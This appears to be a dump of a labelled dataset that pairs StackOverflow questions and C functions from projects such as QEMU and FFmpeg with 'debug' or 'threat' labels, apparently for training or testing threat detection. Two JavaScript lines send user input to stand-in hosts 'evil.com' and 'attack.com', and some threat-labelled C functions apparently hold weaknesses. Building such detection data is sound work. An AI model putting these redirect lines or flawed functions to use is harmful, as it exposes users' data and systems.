problem stringlengths 26 131k | labels class label 2 classes |
|---|---|
Understanding map in Scala : <p>Please help me understand what map(_(0)) means here:</p>
<pre><code>scala> a.collect
res97: Array[org.apache.spark.sql.Row] = Array([1039], [1010], [1002], [926])
scala> a.collect.map(_(0))
res98: Array[Any] = Array(1039, 1010, 1002, 926)
</code></pre>
| 0debug |
Circle area fucntion : I'm trying to make a super basic circle area function in Python 3, but it won't work.
Here's my code:
//Circle Area Calculator
Area = 0
Circle_Radius = 7
def circle_area():
return Circle_Radius ** Circle_Radius ** 3.1415926535 = Area
circle_area()
print (Area) | 0debug |
document.location = 'http://evil.com?username=' + user_input; | 1threat |
static int do_write_compressed(BlockBackend *blk, char *buf, int64_t offset,
int64_t count, int64_t *total)
{
int ret;
if (count >> 9 > INT_MAX) {
return -ERANGE;
}
ret = blk_write_compressed(blk, offset >> 9, (uint8_t *)buf, count >> 9);
if (ret < 0) {
return ret;
}
*total = count;
return 1;
}
| 1threat |
How to make print something in columns? : <p>I'm trying to make a yahtzee, and I have problem with my printing, I need to get what I'm supposed to print into nice looking columns: I want it to look something like this:</p>
<pre><code>Name Joakim Anders
Bonus 0 0
Ones 0 0
Twos 1 1
</code></pre>
<p>Is there a way to make it look like this (with nice columns)? I found another thread about this but it was pretty old and I'm using python3 currently.</p>
| 0debug |
R - Stuck in a IF Else : <p>I am stuck in an exercise that askes me to read a data frame and write an ifelse statement that returns 1 if the sex (theres a gender column) is Female and 2 if the sex is Male. Then the exercise askes me the sum() of theses numbers. No success so far. Any help?</p>
| 0debug |
Obfuscating Swift code before submission to Apple App Store : <p>I'm having a hard time finding any info on this. Android themselves mention code obfuscation as something to do before submitting to their store. But I see nothing about this from Apple or from any "third party" before-submission checklists. The only similar question I could find was one 5 years ago about Objective-C, and I only can find 1 github library about iOS obfuscation. Is it a common practice to obfuscate Swift code when submitting to the Apple App Store? Especially to hide any private API URLs or API keys? Is there a Pro-Guard equivalent for Apple?</p>
| 0debug |
What is the difference between crossinline and noinline in Kotlin? : <ol>
<li><p>This code <strong>compiles with a warning</strong> (<em>insignificant performance impact</em>):</p>
<pre><code>inline fun test(noinline f: () -> Unit) {
thread(block = f)
}
</code></pre></li>
<li><p>This code <strong>does not compile</strong> (<em>illegal usage of inline-parameter</em>):</p>
<pre><code>inline fun test(crossinline f: () -> Unit) {
thread(block = f)
}
</code></pre></li>
<li><p>This code <strong>compiles with a warning</strong> (<em>insignificant performance impact</em>):</p>
<pre><code>inline fun test(noinline f: () -> Unit) {
thread { f() }
}
</code></pre></li>
<li><p>This code <strong>compiles with no warning or error</strong>:</p>
<pre><code>inline fun test(crossinline f: () -> Unit) {
thread { f() }
}
</code></pre></li>
</ol>
<p>Here are my questions:</p>
<ul>
<li>How come (2) does not compile but (4) does?</li>
<li>What exactly is the difference between <code>noinline</code> and <code>crossinline</code>?</li>
<li>If (3) does not generates a no performance improvements, why would (4) do?</li>
</ul>
| 0debug |
Angular 2 - with ngFor, is it possible to update values without rebuilding the dom? : <p>I have a component 'bar' inside ngFor. I want to update its width with animation starting from the previous value to new one. </p>
<p>html : </p>
<pre><code><div *ngFor="let station of stations" class="station">
<bar [perc]="station.perc" class="bar"></bar>
</div>
</code></pre>
<p>ParentComponent : </p>
<pre><code>ngOnInit(){
setInterval(() => this.updateData(), 10000);
}
updateData(){
const url = 'http://....';
this.http.get(url)
.map(res => res.json())
.subscribe(data => {
this.stations = data;
});
}
</code></pre>
<p>BarComponent</p>
<pre><code>export class BarComponent {
@Input() perc;
constructor(private element: ElementRef){}
ngOnChanges(changes: any): void {
let perc = changes.perc.currentValue;
TweenMax.to(this.element.nativeElement, 1, { width: perc + '%' });
}
}
</code></pre>
<p>But on each updateData() it looks like ngFor recreates the dom and BarComponent is constructed again. So even if 'station.perc' is the same, ngOnChanges() is fired.</p>
<p>And the transition keeps on restarting from 0 instead of starting from the previous value...</p>
<p>I probably miss a crucial point here but whats the clean workaround?</p>
| 0debug |
static void skip_block (uint8_t *current, uint8_t *previous, int pitch, int x, int y) {
uint8_t *src;
uint8_t *dst;
int i;
src = &previous[x + y*pitch];
dst = current;
for (i=0; i < 16; i++) {
memcpy (dst, src, 16);
src += pitch;
dst += pitch;
}
}
| 1threat |
too many values to unpack on dictionary key value iteration : <p>Getting an error <strong>too many values to unpack</strong>. Can anyone help me to solve it?</p>
<pre><code>friendship = {'nino': ["tamari", "nika", "lela", "dato"],
'dato': ["tamari", "nino"],
'tamari': ["nino", "dato", "lela"],
'nika': ["nino"],
'lela': ["nino", "tamari"]
}
def f(**friendship):
sia={}
for i in friendship.values():
m = min(i)
for k,v in friendship.items():
sia.update({k:(len(v))})
low = min(sia.values())
res = [x for x,y in sia if sia.items() if y == low]
print(str(res) + " has " + str(low) + " friends") ------ getting an error on this line.
print (f(**friendship))
</code></pre>
| 0debug |
python function - calling using apply vs direct call : I have code as below. If I call the function by the first method, it works. But if I call the function using the second method, I get an error. I thought that method two should works as the function is expecting columns as it's input. Why do we have to say that run the function over columns as described in method 1?
def impute_age(cols):
Age = cols[0]
Pclass = cols[1]
if pd.isnull(Age):
if Pclass == 1:
return 37
elif Pclass == 2:
return 29
else:
return 24
else:
return Age
#pd.isnull(train[['Age']])
#method 1
#train['Age'] = train[['Age','Pclass']].apply(impute_age,axis=1)
#method 2
impute_age(train[['Age','Pclass']]) | 0debug |
how to get specific records in many to many relationship in laravel 5.5 : Need Help I have three tables 1-posts 2-categories 3-category_post I did all the necessary things now the problem is here how can I get specific records in controller for example I want to retrieve all those posts which category is animal
thanks in advance | 0debug |
load event vs self invoking function? : I would like to know if the following two cases has the exact same effect `performance and security wise` ?
Which one is `better practice` ?
Using **load event**
if (sSessionRole === "admin") {
window.addEventListener("load", function () {
getAjax("api_get_users.php", getUserData);
});
}
function getUserData(ajUserDataFromServer) {
//console.log( "USERS ARE EDITABLE" );
showUsers(ajUserDataFromServer);
}
Using **self invoking function**
if (sSessionRole === "admin") {
(function () {
getAjax("api_get_users.php", getUserData);
})();
}
function getUserData(ajUserDataFromServer) {
//console.log( "USERS ARE EDITABLE" );
showUsers(ajUserDataFromServer);
} | 0debug |
Probability density algorythm : I'm not sure that the name for what I need is ***probability density*** but anyway.
I'd like to find a function or algorythm for generating random numbers in the specified range with specified chance and linear change.
For example specified range and chances are: [Chart of chances][1]
Range from -10 to 15.
Chaces are: [[-10, 5], [-5, 0], [3, 5], [10, 30], [15, 0]]
Result after generating a number could be any numbers from that range except -5 and 15. So could be -10, -9, -8, -12 ... 13, 14.
And chance to get -10 is 5 units.
-5 is 0 units.
3 is 5 units.
So -9 will appear with 4 units chance and -8 with 3 units chance etc.
And in this case the most common numbers should appear about 10 because 10 has 30 units chance.
*Sorry for my English :)*
[1]: https://i.stack.imgur.com/6Upug.png | 0debug |
filter the array with another array containing the names to be filtered from the first array : input : ['Ram', 'Shyam' , 'Hari' , 'Gopal' , 'Hawa']
['Shyam' , 'Hawa']
output: ['Ram' , 'Hari' , 'Gopal']`enter code here | 0debug |
static int dts_probe(AVProbeData *p)
{
const uint8_t *buf, *bufp;
uint32_t state = -1;
int markers[4*16] = {0};
int exss_markers = 0, exss_nextpos = 0;
int sum, max, pos, i;
int64_t diff = 0;
uint8_t hdr[12 + AV_INPUT_BUFFER_PADDING_SIZE] = { 0 };
for (pos = FFMIN(4096, p->buf_size); pos < p->buf_size - 2; pos += 2) {
int marker, sample_blocks, sample_rate, sr_code, framesize;
int lfe, wide_hdr, hdr_size;
GetBitContext gb;
bufp = buf = p->buf + pos;
state = (state << 16) | bytestream_get_be16(&bufp);
if (pos >= 4)
diff += FFABS(((int16_t)AV_RL16(buf)) - (int16_t)AV_RL16(buf-4));
if (state == DCA_SYNCWORD_SUBSTREAM) {
if (pos < exss_nextpos)
continue;
init_get_bits(&gb, buf - 2, 96);
skip_bits_long(&gb, 42);
wide_hdr = get_bits1(&gb);
hdr_size = get_bits(&gb, 8 + 4 * wide_hdr) + 1;
framesize = get_bits(&gb, 16 + 4 * wide_hdr) + 1;
if (hdr_size & 3 || framesize & 3)
continue;
if (hdr_size < 16 || framesize < hdr_size)
continue;
if (pos - 2 + hdr_size > p->buf_size)
continue;
if (av_crc(av_crc_get_table(AV_CRC_16_CCITT), 0xffff, buf + 3, hdr_size - 5))
continue;
if (pos == exss_nextpos)
exss_markers++;
else
exss_markers = FFMAX(1, exss_markers - 1);
exss_nextpos = pos + framesize;
continue;
}
if (state == DCA_SYNCWORD_CORE_BE &&
(bytestream_get_be16(&bufp) & 0xFC00) == 0xFC00)
marker = 0;
else if (state == DCA_SYNCWORD_CORE_LE &&
(bytestream_get_be16(&bufp) & 0x00FC) == 0x00FC)
marker = 1;
else if (state == DCA_SYNCWORD_CORE_14B_BE &&
(bytestream_get_be16(&bufp) & 0xFFF0) == 0x07F0)
marker = 2;
else if (state == DCA_SYNCWORD_CORE_14B_LE &&
(bytestream_get_be16(&bufp) & 0xF0FF) == 0xF007)
marker = 3;
else
continue;
if (avpriv_dca_convert_bitstream(buf-2, 12, hdr, 12) < 0)
continue;
init_get_bits(&gb, hdr, 96);
skip_bits_long(&gb, 39);
sample_blocks = get_bits(&gb, 7) + 1;
if (sample_blocks < 8)
continue;
framesize = get_bits(&gb, 14) + 1;
if (framesize < 95)
continue;
skip_bits(&gb, 6);
sr_code = get_bits(&gb, 4);
sample_rate = avpriv_dca_sample_rates[sr_code];
if (sample_rate == 0)
continue;
get_bits(&gb, 5);
if (get_bits(&gb, 1))
continue;
skip_bits_long(&gb, 9);
lfe = get_bits(&gb, 2);
if (lfe > 2)
continue;
marker += 4* sr_code;
markers[marker] ++;
}
if (exss_markers > 3)
return AVPROBE_SCORE_EXTENSION + 1;
sum = max = 0;
for (i=0; i<FF_ARRAY_ELEMS(markers); i++) {
sum += markers[i];
if (markers[max] < markers[i])
max = i;
}
if (markers[max] > 3 && p->buf_size / markers[max] < 32*1024 &&
markers[max] * 4 > sum * 3 &&
diff / p->buf_size > 200)
return AVPROBE_SCORE_EXTENSION + 1;
return 0;
}
| 1threat |
Angular what's meaning of three dots in @NGRX : <p>what does mean exactly these three dots and why i need them ?</p>
<pre><code>export function leadReducer(state: Lead[]= [], action: Action {
switch(action.type){
case ADD_LEAD:
return [...state, action.payload];
case REMOVE_LEAD:
return state.filter(lead => lead.id !== action.payload.id )
}
}
</code></pre>
| 0debug |
Mockito Inject mock into Spy object : <p>I'm writing a test case for a Class which has a 2 level of dependency injection. I use @Spy annotation for the 1 level dependency injection object, and I would like to Mock the 2nd level of injection. However, I kept getting null pointer exception on the 2nd level. Is there any way that I inject the mock into the @Spy object?</p>
<pre><code>public class CarTestCase{
@Mock
private Configuration configuration;
@Spy
private Engine engine;
@InjectMocks
private Car car;
@Test
public void test(){
Mockito.when(configuration.getProperties("")).return("Something");
car.drive();
}
}
public class Car{
@Inject
private Engine engine;
public void drive(){
engine.start();
}
}
public class Engine{
@Inject
private Configuration configuration;
public void start(){
configuration.getProperties(); // null pointer exception
}
}
</code></pre>
| 0debug |
Does an app that amplify your voice instantly exist? : <p>I wonder if there is any app existed that I can either speak to the android phone directly or speaking into a clip-on mic, and the app uses the phone as a speaker to amplify the voice instantly?</p>
<p>I am not trying to record the voice, but just instantly make it louder.</p>
| 0debug |
How to view log output using docker-compose run? : <p>When I use <code>docker-compose up</code> I can see logs for all containers in my <code>docker-compose.yml</code> file.</p>
<p>However, when I use <code>docker-compose run app</code> I only see console output for <code>app</code> but none of the services that <code>app</code> depends on. How can see log output for the other services?</p>
| 0debug |
static uint64_t exynos4210_i2c_read(void *opaque, target_phys_addr_t offset,
unsigned size)
{
Exynos4210I2CState *s = (Exynos4210I2CState *)opaque;
uint8_t value;
switch (offset) {
case I2CCON_ADDR:
value = s->i2ccon;
break;
case I2CSTAT_ADDR:
value = s->i2cstat;
break;
case I2CADD_ADDR:
value = s->i2cadd;
break;
case I2CDS_ADDR:
value = s->i2cds;
s->scl_free = true;
if (EXYNOS4_I2C_MODE(s->i2cstat) == I2CMODE_MASTER_Rx &&
(s->i2cstat & I2CSTAT_START_BUSY) &&
!(s->i2ccon & I2CCON_INT_PEND)) {
exynos4210_i2c_data_receive(s);
}
break;
case I2CLC_ADDR:
value = s->i2clc;
break;
default:
value = 0;
DPRINT("ERROR: Bad read offset 0x%x\n", (unsigned int)offset);
break;
}
DPRINT("read %s [0x%02x] -> 0x%02x\n", exynos4_i2c_get_regname(offset),
(unsigned int)offset, value);
return value;
}
| 1threat |
How do I combine data accurately between two sheets based on shared column values? : Python may be the best bet for this I will upload a solution I will attempt but for you Excel experts I have a real bully of a problem for you.
```
Names Trophies
Scott 3
Jim 3
Ron 2
Bob 1
Jack 1
```
now on sheet 2
```
Names Age Hobby
Bob 1 fishing
Scott 4 math
Jim 6 chess
Ron 2 tennis
```
the desired result is this
```
Names Trophies Age Hobby
Bob 1 1 fishing
Scott 3 4 math
Jim 3 6 chess
Ron 2 2 tennis
Jack 1 1
```
Basically i want to match the names from both sheets together and combine their data accurately.
I am helpless, no idea.
| 0debug |
window.location.href = 'http://attack.com?user=' + user_input; | 1threat |
int qcrypto_init(Error **errp)
{
#ifdef CONFIG_GNUTLS
int ret;
ret = gnutls_global_init();
if (ret < 0) {
error_setg(errp,
"Unable to initialize GNUTLS library: %s",
gnutls_strerror(ret));
return -1;
}
#ifdef DEBUG_GNUTLS
gnutls_global_set_log_level(10);
gnutls_global_set_log_function(qcrypto_gnutls_log);
#endif
#endif
#ifdef CONFIG_GCRYPT
if (!gcry_check_version(GCRYPT_VERSION)) {
error_setg(errp, "Unable to initialize gcrypt");
return -1;
}
#ifdef QCRYPTO_INIT_GCRYPT_THREADS
gcry_control(GCRYCTL_SET_THREAD_CBS, &qcrypto_gcrypt_thread_impl);
#endif
gcry_control(GCRYCTL_INITIALIZATION_FINISHED, 0);
#endif
return 0;
}
| 1threat |
static int cudaupload_query_formats(AVFilterContext *ctx)
{
int ret;
static const enum AVPixelFormat input_pix_fmts[] = {
AV_PIX_FMT_NV12, AV_PIX_FMT_YUV420P, AV_PIX_FMT_YUV444P,
AV_PIX_FMT_NONE,
};
static const enum AVPixelFormat output_pix_fmts[] = {
AV_PIX_FMT_CUDA, AV_PIX_FMT_NONE,
};
AVFilterFormats *in_fmts = ff_make_format_list(input_pix_fmts);
AVFilterFormats *out_fmts = ff_make_format_list(output_pix_fmts);
ret = ff_formats_ref(in_fmts, &ctx->inputs[0]->out_formats);
if (ret < 0)
return ret;
ret = ff_formats_ref(out_fmts, &ctx->outputs[0]->in_formats);
if (ret < 0)
return ret;
return 0;
}
| 1threat |
parallel_ioport_write_sw(void *opaque, uint32_t addr, uint32_t val)
{
ParallelState *s = opaque;
pdebug("write addr=0x%02x val=0x%02x\n", addr, val);
addr &= 7;
switch(addr) {
case PARA_REG_DATA:
s->dataw = val;
parallel_update_irq(s);
break;
case PARA_REG_CTR:
val |= 0xc0;
if ((val & PARA_CTR_INIT) == 0 ) {
s->status = PARA_STS_BUSY;
s->status |= PARA_STS_ACK;
s->status |= PARA_STS_ONLINE;
s->status |= PARA_STS_ERROR;
}
else if (val & PARA_CTR_SELECT) {
if (val & PARA_CTR_STROBE) {
s->status &= ~PARA_STS_BUSY;
if ((s->control & PARA_CTR_STROBE) == 0)
qemu_chr_fe_write(s->chr, &s->dataw, 1);
} else {
if (s->control & PARA_CTR_INTEN) {
s->irq_pending = 1;
}
}
}
parallel_update_irq(s);
s->control = val;
break;
}
}
| 1threat |
converting column into singe row using dplyr : I am trying to wrangle my dataset converting a column into a single row.
Original dataset:
[![enter image description here][1]][1]
What I am getting is
[![enter image description here][2]][2]
What I want to have:
[![enter image description here][3]][3]
library(dplyr)
library(tidyr)
df <- test %>%
group_by(cusip, year, typecode, ticker, stkname, indcode) %>%
summarise(mean_shares=mean(shares), mean_prc=mean(prc))
df_2 <- df%>%
spread(typecode, mean_shares, fill = 0)
[1]: https://i.stack.imgur.com/aExCV.jpg
[2]: https://i.stack.imgur.com/2hpBQ.jpg
[3]: https://i.stack.imgur.com/QQHwc.jpg | 0debug |
Python Tkinter Radiobutton issues in second window : I have a school project on making a website in tkinter python. My problem is in the function "Whats_for_dinner". Both my check, and radio buttons are not replacing the variable for me to find out which one is selected (I.E the radio button stays at zero instead of changing to 1, 2, 3, ect.). Also the radio buttons have more than one selected.
Any help is appreciated.
I am pretty new to coding in python so the simplest fixes may be the best for me to understand. | 0debug |
int attribute_align_arg avcodec_decode_audio4(AVCodecContext *avctx,
AVFrame *frame,
int *got_frame_ptr,
AVPacket *avpkt)
{
AVCodecInternal *avci = avctx->internal;
int planar, channels;
int ret = 0;
*got_frame_ptr = 0;
avctx->pkt = avpkt;
if (!avpkt->data && avpkt->size) {
av_log(avctx, AV_LOG_ERROR, "invalid packet: NULL data, size != 0\n");
return AVERROR(EINVAL);
}
apply_param_change(avctx, avpkt);
avcodec_get_frame_defaults(frame);
if (!avctx->refcounted_frames)
av_frame_unref(&avci->to_free);
if ((avctx->codec->capabilities & CODEC_CAP_DELAY) || avpkt->size) {
ret = avctx->codec->decode(avctx, frame, got_frame_ptr, avpkt);
if (ret >= 0 && *got_frame_ptr) {
avctx->frame_number++;
frame->pkt_dts = avpkt->dts;
if (frame->format == AV_SAMPLE_FMT_NONE)
frame->format = avctx->sample_fmt;
if (!avctx->refcounted_frames) {
avci->to_free = *frame;
avci->to_free.extended_data = avci->to_free.data;
memset(frame->buf, 0, sizeof(frame->buf));
frame->extended_buf = NULL;
frame->nb_extended_buf = 0;
}
}
if (ret < 0 && frame->data[0])
av_frame_unref(frame);
}
planar = av_sample_fmt_is_planar(frame->format);
channels = av_get_channel_layout_nb_channels(frame->channel_layout);
if (!(planar && channels > AV_NUM_DATA_POINTERS))
frame->extended_data = frame->data;
return ret;
}
| 1threat |
Java - Double number return unexpected : <p>Probably a very simple math question, but this has me a little bit confused.</p>
<p>Can anybody explain to me why this: </p>
<pre><code>public class volumesphere
{
public static void main(String[] args)
{
double radius = 30.5;
double PI = Math.PI;
double volume = (4.0/3) * PI * Math.pow(radius, 3);
System.out.println(volume);
}
}
</code></pre>
<p>Is different to this?:</p>
<pre><code>public class volumesphere
{
public static void main(String[] args)
{
double radius = 30.5;
double PI = Math.PI;
double volume = (4/3) * PI * Math.pow(radius, 3);
System.out.println(volume);
}
}
</code></pre>
<p>Specifically in the line:</p>
<pre><code>double volume = (4/3) * PI * Math.pow(radius, 3);
</code></pre>
<p>volume in the first case returns the correct answer at about 1.19*10^5. However, the latter returns a completely different result, around 8.9*10^4.</p>
<p>Can anybody explain this to me please?</p>
| 0debug |
static inline void write_IRQreg (openpic_t *opp, int n_IRQ,
uint32_t reg, uint32_t val)
{
uint32_t tmp;
switch (reg) {
case IRQ_IPVP:
opp->src[n_IRQ].ipvp =
(opp->src[n_IRQ].ipvp & 0x40000000) |
(val & 0x800F00FF);
openpic_update_irq(opp, n_IRQ);
DPRINTF("Set IPVP %d to 0x%08x -> 0x%08x\n",
n_IRQ, val, opp->src[n_IRQ].ipvp);
break;
case IRQ_IDE:
tmp = val & 0xC0000000;
tmp |= val & ((1 << MAX_CPU) - 1);
opp->src[n_IRQ].ide = tmp;
DPRINTF("Set IDE %d to 0x%08x\n", n_IRQ, opp->src[n_IRQ].ide);
break;
}
}
| 1threat |
Why Strong Params contains permitted: false : <p>I put in a <code>binding.pry</code> at the top of my controller's <code>update</code> action. Once at that break point, I put in <code>params[:foo_bar]</code> to examine the <code>params</code> hash. Here is what I get:</p>
<pre><code><ActionController::Parameters {"utf8"=>"✓", "_method"=>"patch", "authenticity_token"=>"123==", "foobar"=><ActionController::Parameters {"barbazz_attributes"=>{"start_date"=>"08/27/2016", "end_date"=>"08/29/2016", "id"=>"89"}, "bazz_id"=>"3", "abc_id"=>"330", "bazzbazz_attributes"=>{"0"=>{"_destroy"=>"1", "city_id"=>"1669", "id"=>"26"}, "1"=>{"city_id"=>"1681", "id"=>"27"}, "2"=>{"city_id"=>"1672"}}} permitted: false>, "cat_id"=>["1", "1", "1"], "commit"=>"Update FooBar", "controller"=>"foo_bars", "action"=>"update", "id"=>"52"} permitted: false>
</code></pre>
<p>I assumed <code>permitted: false</code> is there because I did not whitelist some attributes. I looked over the attributes and it appears to me that I did whitelist everything. </p>
<p>I am using Rails 5 if that happens to make any difference. </p>
<p><strong>Question</strong>: What is an easy way to find out why the strong parameters are returning <code>params: false</code>.</p>
| 0debug |
static block_number_t eckd_block_num(BootMapPointer *p)
{
const uint64_t sectors = virtio_get_sectors();
const uint64_t heads = virtio_get_heads();
const uint64_t cylinder = p->eckd.cylinder
+ ((p->eckd.head & 0xfff0) << 12);
const uint64_t head = p->eckd.head & 0x000f;
const block_number_t block = sectors * heads * cylinder
+ sectors * head
+ p->eckd.sector
- 1;
return block;
}
| 1threat |
How to Replace text partially in linux using sed : I have an xml tag that I need to manipulate on linux
<m1:PayloadId>TESTCASE01_0000123456</m1:PayloadId>
I need to change the text from "TESTCASE01_0000123456" to "TESTCASE01_1234567890" between the tags
I used the sed command in my code:"**sed -i 's/PayloadId>.*</m1:PayloadId>'0000123456'</g' t1.xml**"
but it replaces the entire text. I need to retain "TESTCASE01_"
Appreciate any help
| 0debug |
Multy attack in unity : I'm trying to play 3 deferent attack in unit when the user press the same bottom multi time the attack will change.
I try this code it's ok but filed to track the number of attack
if (Input.GetKeyDown(KeyCode.Q) && attTraking == 0)
{
anim.SetTrigger(attackOneToHash);
attTraking = 1;
}
else if (Input.GetKeyDown(KeyCode.Q) && attTraking == 1)
{
anim.SetTrigger(attackTwoToHash);
attTraking = 2;
}
else if (Input.GetKeyDown(KeyCode.Q) && attTraking == 2)
{
anim.SetTrigger(attackThreeToHash);
attTraking = 0;
}
Thane I add else and set attTraking to 0 the code failed to exit the first IF statement
Can any one help me plz :)
Thanks.
| 0debug |
How to create object inside object in JS : <p>I want to create an object inside an object in JavaScript like this:</p>
<pre><code> {
"test": {
{},
{}
}
}
</code></pre>
<p>In more detail, I want to create a new object if "test" doesn't exist in the object, and create a new object in the same location as the old one if "test" exists.</p>
<p>Please help if this is possible.</p>
| 0debug |
How to delete the folder from a http url using python : <p>i have a wifi enable camera. i can access the image from the ip address while enter in browser. while entering the ip address it shows the list of folders name in the home page. i have to delete one folder.
<a href="https://i.stack.imgur.com/FTAtW.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/FTAtW.png" alt="enter image description here"></a></p>
<p>How to delete the 19112300 folder</p>
| 0debug |
how to formating data to produce sankey diagram using NetworkD3 library R : I have this [data][1], and I'm trying to produce a Sankey Diagram using the NetworkD3 package with this simple code:
sankeyNetwork(Links = landuse$links, Nodes = landuse$nodes, Source = "source",
Target = "target", Value = "value", NodeID = "name",
units = "km²", fontSize = 12, nodeWidth = 30)
I received this message:
Warning message:
It looks like Source/Target is not zero-indexed. This is required in JavaScript and so your plot may not render.
But even if I zero-indexed the target/source nothing is redering in dev. I have the data in the same format like in this [example][2], so I would like to know the possible problem.
[1]: https://drive.google.com/file/d/1JX-MolFa0HqxPXAN_obhi00Q14X4afBg/view?usp=sharing
[2]: https://stackoverflow.com/a/22481979/3398926 | 0debug |
Most efficient way to store and retrieve data : <p>What is the best way to store data permanently in the code? I have the data e.g.
Roll No. (Unique Key)
Values: Name, DOB, Weight, Height etc.</p>
<p>These are going to be static information and I want to store them as the part of application. While using, I want to load them in hashmap so that I can quickly access any student based on the key (Roll number). The data size can go up to 100K entries.</p>
<p>I tried with enum, e.g.</p>
<pre><code>2015CSE3245(“John”, “1997-08-13”, “73”, “176”);
</code></pre>
<p>Is this the best and most efficient way to store the data? Is there any better way in terms of memory and time to read?</p>
| 0debug |
select multiple column into a single row : <p>Suppose I've got two tables:</p>
<p>Table A:</p>
<pre><code>Item1Name Item1Code Item2Name Item2Code
ABC 001 DEF 002
</code></pre>
<p>Table B:</p>
<pre><code>ItemCode ItemType
001 Cookware
002 Drinks
</code></pre>
<p>What should the select statement be to generate following result?</p>
<pre><code>Item1Name Item1Code Item2Name Item2Code Item1Type Item2Type
ABC 001 DEF 002 Cookware Drinks
</code></pre>
| 0debug |
addding a counting colum to a numpy array in python : I have a 2d numpy array ans i.e
ans=[8,5,9,2,4]
i want to convert it into a 2d array like
ans=
{[1,8],
[2,5],
[3,9],
[4,2],
[5,4]}
the first column is in sequence
[1,2,3......500,501..]
how to do this in python
| 0debug |
void *g_realloc(void * mem, size_t n_bytes)
{
__coverity_negative_sink__(n_bytes);
mem = realloc(mem, n_bytes == 0 ? 1 : n_bytes);
if (!mem) __coverity_panic__();
return mem;
}
| 1threat |
int ff_v4l2_m2m_codec_full_reinit(V4L2m2mContext *s)
{
void *log_ctx = s->avctx;
int ret;
av_log(log_ctx, AV_LOG_DEBUG, "%s full reinit\n", s->devname);
if (atomic_load(&s->refcount))
while(sem_wait(&s->refsync) == -1 && errno == EINTR);
ff_v4l2_m2m_codec_end(s->avctx);
s->draining = 0;
s->reinit = 0;
s->fd = open(s->devname, O_RDWR | O_NONBLOCK, 0);
if (s->fd < 0)
return AVERROR(errno);
ret = v4l2_prepare_contexts(s);
if (ret < 0)
goto error;
ret = ff_v4l2_context_get_format(&s->output);
if (ret) {
av_log(log_ctx, AV_LOG_DEBUG, "v4l2 output format not supported\n");
goto error;
}
ret = ff_v4l2_context_get_format(&s->capture);
if (ret) {
av_log(log_ctx, AV_LOG_DEBUG, "v4l2 capture format not supported\n");
goto error;
}
ret = ff_v4l2_context_set_format(&s->output);
if (ret) {
av_log(log_ctx, AV_LOG_ERROR, "can't set v4l2 output format\n");
goto error;
}
ret = ff_v4l2_context_set_format(&s->capture);
if (ret) {
av_log(log_ctx, AV_LOG_ERROR, "can't to set v4l2 capture format\n");
goto error;
}
ret = ff_v4l2_context_init(&s->output);
if (ret) {
av_log(log_ctx, AV_LOG_ERROR, "no v4l2 output context's buffers\n");
goto error;
}
if (!av_codec_is_decoder(s->avctx->codec)) {
ret = ff_v4l2_context_init(&s->capture);
if (ret) {
av_log(log_ctx, AV_LOG_ERROR, "no v4l2 capture context's buffers\n");
goto error;
}
}
return 0;
error:
if (close(s->fd) < 0) {
ret = AVERROR(errno);
av_log(log_ctx, AV_LOG_ERROR, "error closing %s (%s)\n",
s->devname, av_err2str(AVERROR(errno)));
}
s->fd = -1;
return ret;
}
| 1threat |
static av_cold int g726_encode_init(AVCodecContext *avctx)
{
G726Context* c = avctx->priv_data;
if (avctx->strict_std_compliance > FF_COMPLIANCE_UNOFFICIAL &&
avctx->sample_rate != 8000) {
av_log(avctx, AV_LOG_ERROR, "Sample rates other than 8kHz are not "
"allowed when the compliance level is higher than unofficial. "
"Resample or reduce the compliance level.\n");
return AVERROR(EINVAL);
}
av_assert0(avctx->sample_rate > 0);
if(avctx->channels != 1){
av_log(avctx, AV_LOG_ERROR, "Only mono is supported\n");
return -1;
}
if (avctx->bit_rate % avctx->sample_rate) {
av_log(avctx, AV_LOG_ERROR, "Bitrate - Samplerate combination is invalid\n");
return AVERROR(EINVAL);
}
c->code_size = (avctx->bit_rate + avctx->sample_rate/2) / avctx->sample_rate;
if (c->code_size < 2 || c->code_size > 5) {
av_log(avctx, AV_LOG_ERROR, "Invalid number of bits %d\n", c->code_size);
return AVERROR(EINVAL);
}
avctx->bits_per_coded_sample = c->code_size;
g726_reset(c, c->code_size - 2);
avctx->coded_frame = avcodec_alloc_frame();
if (!avctx->coded_frame)
return AVERROR(ENOMEM);
avctx->coded_frame->key_frame = 1;
avctx->frame_size = ((int[]){ 4096, 2736, 2048, 1640 })[c->code_size - 2];
return 0;
}
| 1threat |
static int css_add_virtual_chpid(uint8_t cssid, uint8_t chpid, uint8_t type)
{
CssImage *css;
trace_css_chpid_add(cssid, chpid, type);
if (cssid > MAX_CSSID) {
return -EINVAL;
}
css = channel_subsys.css[cssid];
if (!css) {
return -EINVAL;
}
if (css->chpids[chpid].in_use) {
return -EEXIST;
}
css->chpids[chpid].in_use = 1;
css->chpids[chpid].type = type;
css->chpids[chpid].is_virtual = 1;
css_generate_chp_crws(cssid, chpid);
return 0;
}
| 1threat |
Automate IE print dialog box without using SendKeys : <p>Is it possible to control the IE browser print dialog box in VBA without using SendKeys?</p>
| 0debug |
About RecycleView : <p>I want to display data from a database that has been hosted into recycleview by using json.I've tried various ways to make it. Can someone give me a link a tutorial on:
1. Displays data of type mediumblob into json.
2. Displays data from the database that has been hosted into recycleview.
3. Displays info window about the data that is clicked from recycleview. I'm a beginner and can only rely on tutorials.</p>
| 0debug |
One line makes me mad. SQL Developer : create or replace trigger fund_BIU
before insert or update on fund
for each row
begin
if inserting and :new.fundid is null then
:new.fundid := to_number(sys_guid(),
'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX');
end if;
end;
Im interested the IF statement. What does it mean
:new.fundid := to_number(sys_guid(),'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX');. To be precise sys_guid(), 'xxxxxxxx' part.
TY | 0debug |
int coroutine_fn bdrv_co_writev(BlockDriverState *bs, int64_t sector_num,
int nb_sectors, QEMUIOVector *qiov)
{
trace_bdrv_co_writev(bs, sector_num, nb_sectors);
return bdrv_co_do_writev(bs, sector_num, nb_sectors, qiov, 0);
}
| 1threat |
Allow Public Read access on a GCS bucket? : <p>I am trying to allow anonymous (or just from my applications domain) read access for files in my bucket.</p>
<p>When trying to read the files I get </p>
<p>```</p>
<pre><code><Error>
<Code>AccessDenied</Code>
<Message>Access denied.</Message>
<Details>
Anonymous users does not have storage.objects.get access to object.
</Details>
</Error>
</code></pre>
<p>```</p>
<p>I also tried to add a domain with the object default permissions dialog in the google cloud console. that gives me the error "One of your permissions is invalid. Make sure that you enter an authorized id or email for the groups and users and a domain for the domains"</p>
